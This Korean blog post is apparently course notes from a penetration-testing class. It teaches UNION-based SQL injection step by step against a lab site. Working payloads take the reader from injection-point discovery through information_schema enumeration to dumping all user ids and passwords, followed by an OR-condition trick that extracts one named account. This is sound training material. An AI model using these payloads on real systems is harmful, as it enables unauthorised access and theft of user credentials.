[정보보안] UNION based SQL Injection 실행 방법

예제를 통해서 알아보는 UNION based SQLi 구문 실행 방법. 모의해킹 6주차 강의에 대한 정리. 

 

UNION based SQL Injection

<목차>

1. SQL Injection Point

2. 데이터 추출 프로세스

3. <예제1> 모든 데이터 추출하기

4. <예제2> 특정 데이터 추출하기

 

글을 들어가기 앞서, Union based SQL Injection이 무엇인지는 따로 설명하지 않는다. 추가 설명이 필요하다면, 아래 블로그 글을 참조하자. 

 

SQL Injection 이란?

 

[정보보안] SQL Injection 이란?

SQL Injection의 작동 원리와 방법에 대해 알아보자!모의해킹 스터디 5주차 강의 내용에 대한 정리.SQL Injection 이란? 1. SQL이란? 2. SQL Injection 이란? 3. 공격의 종류와 방법  SQL 이란 ? ▶ Structured Query La

yyz-code.tistory.com

 

SQL Injection Point

▶ SQLi를 수행하기 전 체크할 2 가지 조건

해당 기법은 아래 두 조건에 따라, 접근 방법이 달라진다. 

 

  1. 데이터베이스를 사용하는가?
  2. DB 데이터를 화면에 출력할 수 있는가?
    1. 출력 가능한 곳 : 예) 게시판 등
    2. 출력 불가한 곳 : 예) 로그인 페이지, 아이디 중복체크 페이지 등

▶ SQLi는 데이터베이스를 사용하지 않는 곳에서는 사용할 수 없다.

  • SQL 문법이라는 데이터베이스에 사용되는 언어의 헛점을 이용한 공격이기 때문이다.
  • 그 중, Union Based 는 DB 데이터를 화면에 출력할 수 있는 곳에 주로 쓰인다. 

데이터 추출 프로세스

총 7 단계를 거쳐 데이터를 추출할 수 있다. 이 순서대로 따라가는 자세한 과정은, 아래 예제를 통해 자세히 알아보자. 

 

  1. SQL Injection 포인트 찾기
  2. Colum 개수 찾기
  3. 출력되는 column 위치 찾기
  4. DB 이름 확인
  5. Table 이름 확인
  6. Column 이름 확인
  7. Data 추출

<예제1> 모든 데이터 추출하기

위에서 설명한 프로세스 대로, 아래 페이지에서 데이터를 추출해보자. 

추출할 데이터 : 해당 페이지를 이용하는 모든 사람의 id 와 password 

 

▶ 페이지 화면 

 

1. Injection 포인트 찾기

 페이지 검색 시 실행되는 쿼리

SELECT * FROM game WHERE name LIKE '%Overwatch%';

 

Injection 포인트

SELECT * FROM game WHERE name LIKE '%Overwatch%' AND '1%'='1%';
// Overwatch data 검색 성공

SELECT * FROM game WHERE name LIKE '%Overwatch%' AND '1%'='2%';
// echo "<script>alert='결과가 존재하지 않습니다'</script>";
// 검색 실패

SQLi 가 가능하며, 조건이 참일때 값을 반환한다.

 

2. Column 개수 찾기

Order by 함수를 이용하여 컬럼 개수를 확인한다

SELECT * FROM game WHERE name LIKE '%Overwatch%' ORDER BY 1 #%';

 

위 코드에서 숫자 1 부터 차례대로 대입하여, 검색이 실패할때 까지 진행한다. 

Order by 4 # 까지만 검색에 성공함으로, 총 4개의 컬럼이 존재함을 알 수 있다. 

 

3. 출력되는 Column 위치 찾기

UNION SELECT 구문을 활용하여, 어떠한 컬럼이 화면에 출력되는지 확인한다. 

SELECT * FROM game WHERE name LIKE '%over%' UNION SELECT 1,2,3,4#%'

 

위 쿼리를 실행 후 화면

첫 번째 컬럼은 화면에 출력되지 않고, 2 ~ 4 번째 컬럼이 화면에 출력되는 것을 알 수 있다. 

이후 불러올 데이터는 첫 번째 컬럼을 제외한, 나머지 컬럼에 불러와야 한다. 

 

4. DB 이름 찾기

database() 함수를 이용하여 데이터베이스 이름을 찾아보자

SELECT * FROM game WHERE name LIKE '%over%' UNION SELECT 1,database(),3,4#%'

 

 

두 번째 컬럼에서 데이터베이스 이름을 확인했다 : segfault_sql

 

5. Table 이름 확인

▶ Information Schema란 ?

MySQL 서버 내에 존재하는 DB의 메타 정보 (테이블, 컬럼, 인덱스 등)를 저장하는 DB 이다. 


*  명령어를 구성하는 방법은 데이터베이스 별로 다르다. 

데이터베이스 종류 별 명령어 정리

 

데이터베이스(DB) 종류 별 명령어 정리

MS-SQL * MS-SQL은 각 개별 데이터베이스별로 시스템 뷰가 존재하기 때문에 데이터베이스명으로 필터링할 필요 없음 데이터베이스 조회 SELECT * FROM sys.sysdatabases SELECT name, database_id, create_date FROM sys.da

noirstar.tistory.com


위 페이지는 MySQL 데이터베이스를 사용하기에, 이를 기반으로 찾아보았다.

SELECT * FROM game WHERE name LIKE '%over%' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema='segfault_sql'#%'
  • information_schema.tables : 테이블 이름을 저장하는 DB
  • information_schema.columns : 컬럼 이름을 저장하는 DB
  • table_schema='DB 이름' 으로 데이터베이스를 특정하는 이유는, 해당 구문이 없으면 모든 데이터베이스에 있는 모든 테이블 이름을 불러오기에, 원하는 데이터가 어디에 있는지 알 수 없기 때문이다. 

 

segfault_sql 데이터베이스 안에는 game, member, secret, secret_member 이라는 테이블로 이루어져 있음을 보여준다. 

 

6. Column 이름 확인

SELECT * FROM game WHERE name LIKE '%over%' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='member'#%'

 

 

Column 이름 : user_id, user_pass, name, user_level, info, id, pass, email (총 8개의 컬럼이 존재한다)

 

7. Data 추출

SELECT * FROM game WHERE name LIKE '%over%' UNION SELECT 1,id,pass,4 FROM member#%';

 

위의 이미지와 같이, member 테이블에 있는 모든 id와 pass 정보를 가져왔다. 

<예제2> 특정 데이터 추출하기

추출할 데이터 : 데이터베이스에 저장된 정보 중 id : doldol의 정보만 추출하라

* 조건 : 해당 페이지의 기본 SQL 쿼리는 아래와 같다. Input 이전의 정보는 변경할 수 없다. 

SELECT * FROM member WHERE id = 'normaltic' AND pass = 'Input';

 

 

1. SQL Injection 포인트 찾기

SELECT * FROM member WHERE id = 'normaltic' AND pass = 'pass' OR '1'='1';

 

 

SQL Injection 이 가능하며, 여러 데이터를 한 번에 불러올 수 있다. 


* 아래 실행한 것은 사실 문제에서 member 테이블에 정보가 있다는 것을 보여줬기 때문에, 생략이 가능했다. 

생략된 부분을 보고싶다면 <더보기> 클릭.

데이터 추출하는 부분으로 이동.

더보기

2. Column 개수 찾기

SELECT * FROM member WHERE id = 'normaltic' AND pass = '1234' ORDER BY 4#;
  • AND 구문은 무조건 참이 되어야 하기에, 기존에 찾은 normaltic의 비밀번호를 활용한다. 
  • ORDER BY 구문이 4까지 성공함으로, 총 4개의 컬럼이 존재한다.

 

3. 출력되는 column 위치 찾기

SELECT * FROM member WHERE id = 'normaltic' AND pass = '1234' UNION SELECT 1,2,3,4#;

 

 

총 4개의 컬럼이 모두 화면에 출력된다. 

 

4. DB 이름 확인

SELECT * FROM member WHERE id = 'normaltic' AND pass = '1234' UNION SELECT 1,database(),3,4#;

 

 

데이터베이스 : segfault_sql

 

▶ 여기서 의문점 : 우리는 1번을 통해 모든 데이터를 찾았는데 왜 DB 이름을 찾고 있는가?

기존의 정보로 doldol 정보만 불러올 수 없나?

  • 기존 예제 1을 통해, segfault_sql DB 안에 있는 테이블과 컬럼을 모두 찾았다. 
  • 위 정보는 member 테이블에 존재할 것 같다! 바로 Data 를 추출해보자!
  • 만약 실패 시, 단계를 이어나간다.

5. OR 구문을 활용한 Data 추출

SELECT * FROM member WHERE id = 'normaltic' AND pass = '1111' OR (id='doldol' AND pass='aaaa')#
  • 1번을 통해, 해당 페이지에서 OR 구문을 활용할 수 있음을 알았다. 
  • OR () 구문을 통해 총 2개의 구문으로 나눈다
    • id - normaltic, pass - 1111 인 데이터를 찾거나 
    • id - doldol, pass - aaaa 인 데이터를 찾아 반환한다. 
    • 기존 쿼리문은 일부러 거짓이 되게 작성하여, 원하는 doldol의 정보만 표시되도록 표현했다. 

결과창